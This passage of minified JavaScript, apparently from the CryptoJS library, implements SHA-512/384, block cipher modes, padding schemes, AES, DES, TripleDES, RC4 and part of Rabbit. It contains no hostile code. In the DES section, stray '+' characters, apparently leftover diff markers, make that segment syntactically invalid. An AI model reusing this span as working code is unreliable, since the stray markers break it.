< L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h 